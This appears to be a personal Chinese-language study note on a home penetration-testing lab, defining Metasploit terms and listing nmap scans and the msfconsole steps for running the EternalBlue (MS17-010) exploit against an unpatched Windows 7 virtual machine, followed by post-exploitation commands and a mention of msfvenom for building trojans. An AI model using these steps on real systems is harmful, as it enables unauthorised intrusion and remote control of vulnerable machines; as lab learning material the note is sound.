术语
- 渗透攻击(exploit),指由攻击者或渗透测试者利用一个系统、应用或服务中的安全
漏洞,所进行的攻击行为。 - 攻击载荷(payload),是我们期望目标系统在渗透攻击之后去执行的代码
- shellcode,是在渗透攻击时作为攻击载荷运行的一组机器指令,通常用汇编语言编写
- 模块(Module),指Metasploit框架中所使用的一段软件代码组件,可用于发起渗透攻击
或执行某些辅助攻击动作 - 监听器(listener),是在Metasploit中用来等待网络连接的组件
对于反弹shell的一些理解
测验时用了两种测验环境,一种是发起攻击的主机与靶机在同一局域,一种是
发起攻击的主机与靶机在不同局域网内,攻击者通过sock5代理进行攻击。
个人理解:由于外网不具备进入内网防火墙的能力,而sock5代理服务器则可以,
因此外网主机借由sock5的通道进入靶机所在的局域网。而进行反弹shell的时候,靶机回连
攻击者的主机时走的不是sock5这条路(原路返回),而是从自己的网关出去,此时如果攻击
者主机是公网IP,那自然能反弹成功;若是私网IP,那靶机出来的路由找不到攻击者主机,自然
无法反弹成功。
而对第一种测验环境,两个主机在同一局域网内,自然能反弹成功;
测试环境 1
- 安装虚拟机Linux kali A
- 安装虚拟机win7 B (且不进行更新打补丁操作,虽然不知道有没有影响)
- 两个虚拟机都使用NAT网络共享模式,因而两个虚拟机会在同一个局域网内
- 在主电脑上同时运行这两个虚拟机
- 在A机:ifconfig,查询A机的IP
- 在B机:ipconfig /all,查询B机的IP
- linux kali默认带有Metasploit工具,也有简称为msf的,f是framework的缩写
- 关闭B主机的防火墙,并开启B主机的445、139端口:
开启方法:在windows防火墙的高级设置–>新建入站规则即可
nmap工具的使用
info: 可以在lunux命令行中执行也可以在msf命令环境中执行
- 查询当前局域网内所有联网主机的状态,可以在A机运行命令:
$ nmap -sn 192.168.157.0/24 -oG
$ cat | grep -i up
OR
$ nmap -sn 192.168.157.0/24
info:-sn :进行ping扫描不进行端口扫描
2. 扫描目标机的端口信息:
$ nmap -sV -A -O 192.168.157.143
- 扫描目标机的指定端口445的信息
$ namp -O -p445 192.168.157.143
使用msf框架
note:msf框架需要更新到新版本,否则可能会导致需要关闭靶机的防火墙才能进行渗透
渗透时不一定能反弹shell,但这不代表你渗透失败,只是没有shell反弹而已,你可以通过
其他命令进行验证。
在kali linux的命令行下输入命令调用
$ msfconsole
使用命令查看需要渗透的漏洞对应的模块文件search ModuleName
example:
$ search ms17_010_eternablue
使用相关模块use ModlueName
example:
$ use exploit/windows/smb/ms17_010_eternablue
info : 在该模块下,查询使用该模块需要配置的参数信息
查询参数信息
$ show options
查看模块的完整信息
$ info
选择payload作为渗透后的攻击脚本,在此之前使用命令查看可选的payload
# show payloads
使用命令设置set payload
$ set payload payload_name
执行命令进行渗透:
$ exploit
成功黑进去后:
可以使用命令反弹shell
$ shell
可以使用命令获取对方的屏幕截图
$ screenshot
用于得到目标系统的一些信息
$ sysinfo
$ ipconfig
Others Info
msfvenom:
是msfpayload,msfencode的结合体,可利用msfvenom生成木马程序,
并在目标机上执行,在本地监听上线
command:
1、显示所有可执行选择
$ msfvenom
2、列出在该系统下能支持的文件格式
$ msfvenom --list formats
armitage,是Metasploit的可视化界面
3、使用armitage调出
$ armitage